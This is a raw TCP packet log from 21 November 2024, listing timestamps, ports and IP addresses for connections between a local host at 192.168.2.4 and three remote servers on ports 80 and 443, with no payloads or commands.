Nov 21, 2024 22:33:57.881614923 CET	443	49760	13.107.246.63	192.168.2.4
Nov 21, 2024 22:33:57.881663084 CET	49760	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:33:57.881679058 CET	443	49760	13.107.246.63	192.168.2.4
Nov 21, 2024 22:33:57.881710052 CET	49760	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:33:57.881725073 CET	49760	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:33:57.917973042 CET	443	49760	13.107.246.63	192.168.2.4
Nov 21, 2024 22:33:57.917994976 CET	443	49760	13.107.246.63	192.168.2.4
Nov 21, 2024 22:33:57.918085098 CET	49760	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:33:57.918100119 CET	443	49760	13.107.246.63	192.168.2.4
Nov 21, 2024 22:33:57.918145895 CET	49760	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:33:57.970325947 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:57.970500946 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:57.990886927 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:58.057682991 CET	443	49760	13.107.246.63	192.168.2.4
Nov 21, 2024 22:33:58.057703972 CET	443	49760	13.107.246.63	192.168.2.4
Nov 21, 2024 22:33:58.057796001 CET	49760	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:33:58.057827950 CET	443	49760	13.107.246.63	192.168.2.4
Nov 21, 2024 22:33:58.057876110 CET	49760	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:33:58.088009119 CET	443	49760	13.107.246.63	192.168.2.4
Nov 21, 2024 22:33:58.088023901 CET	443	49760	13.107.246.63	192.168.2.4
Nov 21, 2024 22:33:58.088114023 CET	49760	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:33:58.088135958 CET	443	49760	13.107.246.63	192.168.2.4
Nov 21, 2024 22:33:58.088184118 CET	49760	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:33:58.110654116 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:58.112485886 CET	443	49760	13.107.246.63	192.168.2.4
Nov 21, 2024 22:33:58.112498999 CET	443	49760	13.107.246.63	192.168.2.4
Nov 21, 2024 22:33:58.112572908 CET	49760	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:33:58.112585068 CET	443	49760	13.107.246.63	192.168.2.4
Nov 21, 2024 22:33:58.112626076 CET	49760	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:33:58.130192995 CET	443	49760	13.107.246.63	192.168.2.4
Nov 21, 2024 22:33:58.130207062 CET	443	49760	13.107.246.63	192.168.2.4
Nov 21, 2024 22:33:58.130266905 CET	49760	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:33:58.130278111 CET	443	49760	13.107.246.63	192.168.2.4
Nov 21, 2024 22:33:58.130316973 CET	49760	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:33:58.257204056 CET	443	49760	13.107.246.63	192.168.2.4
Nov 21, 2024 22:33:58.257220984 CET	443	49760	13.107.246.63	192.168.2.4
Nov 21, 2024 22:33:58.257312059 CET	49760	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:33:58.257333040 CET	443	49760	13.107.246.63	192.168.2.4
Nov 21, 2024 22:33:58.257375956 CET	49760	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:33:58.271728992 CET	443	49760	13.107.246.63	192.168.2.4
Nov 21, 2024 22:33:58.271744013 CET	443	49760	13.107.246.63	192.168.2.4
Nov 21, 2024 22:33:58.271846056 CET	49760	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:33:58.271867037 CET	443	49760	13.107.246.63	192.168.2.4
Nov 21, 2024 22:33:58.271908998 CET	49760	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:33:58.286874056 CET	443	49760	13.107.246.63	192.168.2.4
Nov 21, 2024 22:33:58.286887884 CET	443	49760	13.107.246.63	192.168.2.4
Nov 21, 2024 22:33:58.286984921 CET	49760	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:33:58.287002087 CET	443	49760	13.107.246.63	192.168.2.4
Nov 21, 2024 22:33:58.287045956 CET	49760	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:33:58.299904108 CET	443	49760	13.107.246.63	192.168.2.4
Nov 21, 2024 22:33:58.299917936 CET	443	49760	13.107.246.63	192.168.2.4
Nov 21, 2024 22:33:58.299987078 CET	49760	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:33:58.300002098 CET	443	49760	13.107.246.63	192.168.2.4
Nov 21, 2024 22:33:58.300044060 CET	49760	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:33:58.314774036 CET	443	49760	13.107.246.63	192.168.2.4
Nov 21, 2024 22:33:58.314788103 CET	443	49760	13.107.246.63	192.168.2.4
Nov 21, 2024 22:33:58.314857960 CET	49760	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:33:58.314867973 CET	443	49760	13.107.246.63	192.168.2.4
Nov 21, 2024 22:33:58.314912081 CET	49760	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:33:58.328824997 CET	443	49760	13.107.246.63	192.168.2.4
Nov 21, 2024 22:33:58.328839064 CET	443	49760	13.107.246.63	192.168.2.4
Nov 21, 2024 22:33:58.328937054 CET	49760	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:33:58.328946114 CET	443	49760	13.107.246.63	192.168.2.4
Nov 21, 2024 22:33:58.329006910 CET	49760	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:33:58.335108995 CET	443	49760	13.107.246.63	192.168.2.4
Nov 21, 2024 22:33:58.335187912 CET	49760	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:33:58.335189104 CET	443	49760	13.107.246.63	192.168.2.4
Nov 21, 2024 22:33:58.335232973 CET	49760	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:33:58.335259914 CET	49760	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:33:58.335273027 CET	443	49760	13.107.246.63	192.168.2.4
Nov 21, 2024 22:33:58.335284948 CET	49760	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:33:58.335289001 CET	443	49760	13.107.246.63	192.168.2.4
Nov 21, 2024 22:33:58.386348009 CET	49762	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:33:58.386393070 CET	443	49762	13.107.246.63	192.168.2.4
Nov 21, 2024 22:33:58.386450052 CET	49762	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:33:58.388191938 CET	49763	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:33:58.388221979 CET	443	49763	13.107.246.63	192.168.2.4
Nov 21, 2024 22:33:58.388290882 CET	49763	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:33:58.389101028 CET	49764	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:33:58.389149904 CET	443	49764	13.107.246.63	192.168.2.4
Nov 21, 2024 22:33:58.389216900 CET	49764	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:33:58.389345884 CET	49762	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:33:58.389367104 CET	443	49762	13.107.246.63	192.168.2.4
Nov 21, 2024 22:33:58.389549017 CET	49763	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:33:58.389560938 CET	443	49763	13.107.246.63	192.168.2.4
Nov 21, 2024 22:33:58.390095949 CET	49764	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:33:58.390115023 CET	443	49764	13.107.246.63	192.168.2.4
Nov 21, 2024 22:33:58.390882969 CET	49766	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:33:58.390893936 CET	443	49766	13.107.246.63	192.168.2.4
Nov 21, 2024 22:33:58.390896082 CET	49765	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:33:58.390923977 CET	443	49765	13.107.246.63	192.168.2.4
Nov 21, 2024 22:33:58.391071081 CET	49766	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:33:58.391266108 CET	49765	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:33:58.391266108 CET	49765	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:33:58.391290903 CET	443	49765	13.107.246.63	192.168.2.4
Nov 21, 2024 22:33:58.391304970 CET	49766	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:33:58.391326904 CET	443	49766	13.107.246.63	192.168.2.4
Nov 21, 2024 22:33:58.588489056 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:58.588656902 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:58.694870949 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:58.694947958 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:58.814847946 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:58.814904928 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:58.814937115 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:58.814977884 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:58.814996004 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:58.815005064 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:58.815045118 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:58.815046072 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:58.815102100 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:58.815123081 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:58.815151930 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:58.815179110 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:58.815212011 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:58.815251112 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:58.815295935 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:58.815310955 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:58.815378904 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:58.815445900 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:58.815496922 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:58.815499067 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:58.815546989 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:58.815711975 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:58.815742016 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:58.815767050 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:58.815790892 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:58.934792042 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:58.934951067 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:58.934978008 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:58.935051918 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:58.935096979 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:58.935156107 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:58.935375929 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:58.935405016 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:58.935484886 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:58.935507059 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:58.935578108 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:58.935610056 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:58.935645103 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:58.935663939 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:58.935724020 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:58.935812950 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:58.935875893 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:58.935926914 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:58.937695980 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:58.976886988 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:59.054887056 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:59.054954052 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:59.054982901 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:59.055042028 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:59.055166960 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:59.055454016 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:59.055582047 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:59.055632114 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:59.055759907 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:59.055811882 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:59.055896997 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:59.055944920 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:59.056030989 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:59.056058884 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:59.056159019 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:59.056206942 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:59.056291103 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:59.056339979 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:59.056390047 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:59.056416988 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:59.056485891 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:59.056534052 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:59.056629896 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:59.056658983 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:59.056711912 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:59.056760073 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:59.056854010 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:59.056901932 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:59.056951046 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:59.056979895 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:59.057028055 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:59.057054996 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:59.057190895 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:59.057239056 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:59.057346106 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:59.672153950 CET	443	49761	172.202.163.200	192.168.2.4
Nov 21, 2024 22:33:59.672239065 CET	49761	443	192.168.2.4	172.202.163.200
Nov 21, 2024 22:33:59.674206972 CET	49761	443	192.168.2.4	172.202.163.200
Nov 21, 2024 22:33:59.674237013 CET	443	49761	172.202.163.200	192.168.2.4
Nov 21, 2024 22:33:59.674731016 CET	443	49761	172.202.163.200	192.168.2.4
Nov 21, 2024 22:33:59.683655024 CET	49761	443	192.168.2.4	172.202.163.200
Nov 21, 2024 22:33:59.727372885 CET	443	49761	172.202.163.200	192.168.2.4
Nov 21, 2024 22:34:00.103147030 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:34:00.103228092 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:34:00.143645048 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:34:00.210388899 CET	443	49762	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:00.210855961 CET	49762	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:00.210874081 CET	443	49762	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:00.211405039 CET	49762	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:00.211410999 CET	443	49762	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:00.212428093 CET	443	49764	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:00.212749958 CET	49764	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:00.212768078 CET	443	49764	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:00.213285923 CET	49764	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:00.213290930 CET	443	49764	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:00.214179039 CET	443	49766	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:00.214518070 CET	49766	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:00.214524984 CET	443	49766	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:00.214931011 CET	49766	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:00.214946032 CET	443	49766	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:00.218822002 CET	443	49765	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:00.219083071 CET	49765	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:00.219108105 CET	443	49765	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:00.219470978 CET	49765	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:00.219475985 CET	443	49765	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:00.263484955 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:34:00.327738047 CET	443	49763	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:00.328268051 CET	49763	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:00.328284025 CET	443	49763	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:00.328712940 CET	49763	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:00.328716993 CET	443	49763	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:00.356353998 CET	443	49761	172.202.163.200	192.168.2.4
Nov 21, 2024 22:34:00.356416941 CET	443	49761	172.202.163.200	192.168.2.4
Nov 21, 2024 22:34:00.356461048 CET	443	49761	172.202.163.200	192.168.2.4
Nov 21, 2024 22:34:00.356488943 CET	49761	443	192.168.2.4	172.202.163.200
Nov 21, 2024 22:34:00.356532097 CET	443	49761	172.202.163.200	192.168.2.4
Nov 21, 2024 22:34:00.356564045 CET	49761	443	192.168.2.4	172.202.163.200
Nov 21, 2024 22:34:00.356584072 CET	49761	443	192.168.2.4	172.202.163.200
Nov 21, 2024 22:34:00.392901897 CET	443	49761	172.202.163.200	192.168.2.4
Nov 21, 2024 22:34:00.392946005 CET	443	49761	172.202.163.200	192.168.2.4
Nov 21, 2024 22:34:00.392985106 CET	49761	443	192.168.2.4	172.202.163.200
Nov 21, 2024 22:34:00.393007994 CET	443	49761	172.202.163.200	192.168.2.4
Nov 21, 2024 22:34:00.393060923 CET	49761	443	192.168.2.4	172.202.163.200
Nov 21, 2024 22:34:00.393134117 CET	443	49761	172.202.163.200	192.168.2.4
Nov 21, 2024 22:34:00.393141985 CET	49761	443	192.168.2.4	172.202.163.200
Nov 21, 2024 22:34:00.393166065 CET	49761	443	192.168.2.4	172.202.163.200
Nov 21, 2024 22:34:00.393183947 CET	443	49761	172.202.163.200	192.168.2.4
Nov 21, 2024 22:34:00.393198967 CET	443	49761	172.202.163.200	192.168.2.4
Nov 21, 2024 22:34:00.393223047 CET	49761	443	192.168.2.4	172.202.163.200
Nov 21, 2024 22:34:00.393234968 CET	443	49761	172.202.163.200	192.168.2.4
Nov 21, 2024 22:34:00.545773029 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:34:00.545836926 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:34:00.546780109 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:34:00.652669907 CET	443	49765	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:00.652872086 CET	443	49765	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:00.652935982 CET	49765	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:00.653064013 CET	49765	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:00.653076887 CET	443	49765	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:00.653088093 CET	49765	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:00.653091908 CET	443	49765	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:00.653434992 CET	443	49764	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:00.653592110 CET	443	49764	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:00.653645039 CET	443	49766	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:00.653642893 CET	49764	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:00.653673887 CET	443	49766	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:00.653721094 CET	49766	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:00.653733969 CET	443	49766	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:00.653748035 CET	443	49766	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:00.653776884 CET	49766	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:00.653799057 CET	49766	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:00.655086040 CET	49766	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:00.655101061 CET	443	49766	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:00.655127048 CET	49766	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:00.655133009 CET	443	49766	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:00.656408072 CET	49764	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:00.656414032 CET	443	49764	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:00.656423092 CET	49764	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:00.656425953 CET	443	49764	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:00.658646107 CET	49767	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:00.658660889 CET	443	49767	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:00.658718109 CET	49767	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:00.659399033 CET	49767	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:00.659403086 CET	443	49762	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:00.659410954 CET	443	49767	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:00.659429073 CET	443	49762	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:00.659481049 CET	49762	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:00.659501076 CET	443	49762	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:00.659514904 CET	443	49762	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:00.659540892 CET	49762	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:00.659565926 CET	49762	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:00.659668922 CET	49762	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:00.659687042 CET	443	49762	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:00.659697056 CET	49762	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:00.659703970 CET	443	49762	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:00.666347027 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:34:00.669090986 CET	49768	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:00.669127941 CET	443	49768	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:00.669188023 CET	49768	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:00.669323921 CET	49768	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:00.669339895 CET	443	49768	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:00.669637918 CET	49769	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:00.669692039 CET	443	49769	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:00.669768095 CET	49769	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:00.669939995 CET	49769	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:00.669964075 CET	443	49769	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:00.671287060 CET	49770	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:00.671297073 CET	443	49770	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:00.671361923 CET	49770	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:00.671463013 CET	49770	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:00.671473980 CET	443	49770	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:00.786756992 CET	443	49763	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:00.786818027 CET	443	49763	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:00.786916971 CET	49763	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:00.786931992 CET	443	49763	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:00.787039042 CET	49763	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:00.787053108 CET	443	49763	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:00.787060976 CET	49763	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:00.787394047 CET	443	49763	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:00.787496090 CET	443	49763	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:00.787699938 CET	49763	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:00.789622068 CET	49771	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:00.789653063 CET	443	49771	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:00.789753914 CET	49771	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:00.789935112 CET	49771	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:00.789958000 CET	443	49771	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:02.459595919 CET	443	49769	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:02.460180044 CET	49769	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:02.460239887 CET	443	49769	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:02.460673094 CET	49769	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:02.460688114 CET	443	49769	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:02.506690979 CET	443	49767	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:02.507107973 CET	49767	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:02.507144928 CET	443	49767	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:02.507386923 CET	49767	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:02.507394075 CET	443	49767	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:02.510874033 CET	443	49771	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:02.511126041 CET	49771	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:02.511136055 CET	443	49771	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:02.511459112 CET	49771	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:02.511464119 CET	443	49771	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:02.512729883 CET	443	49768	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:02.512947083 CET	49768	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:02.512981892 CET	443	49768	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:02.513258934 CET	49768	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:02.513264894 CET	443	49768	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:02.517746925 CET	443	49770	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:02.518022060 CET	49770	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:02.518028975 CET	443	49770	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:02.518348932 CET	49770	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:34:02.518353939 CET	443	49770	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:02.603830099 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:34:02.603883982 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:34:02.903800011 CET	443	49769	13.107.246.63	192.168.2.4
Nov 21, 2024 22:34:02.903960943 CET	443	49769	13.107.246.63	192.168.2.4
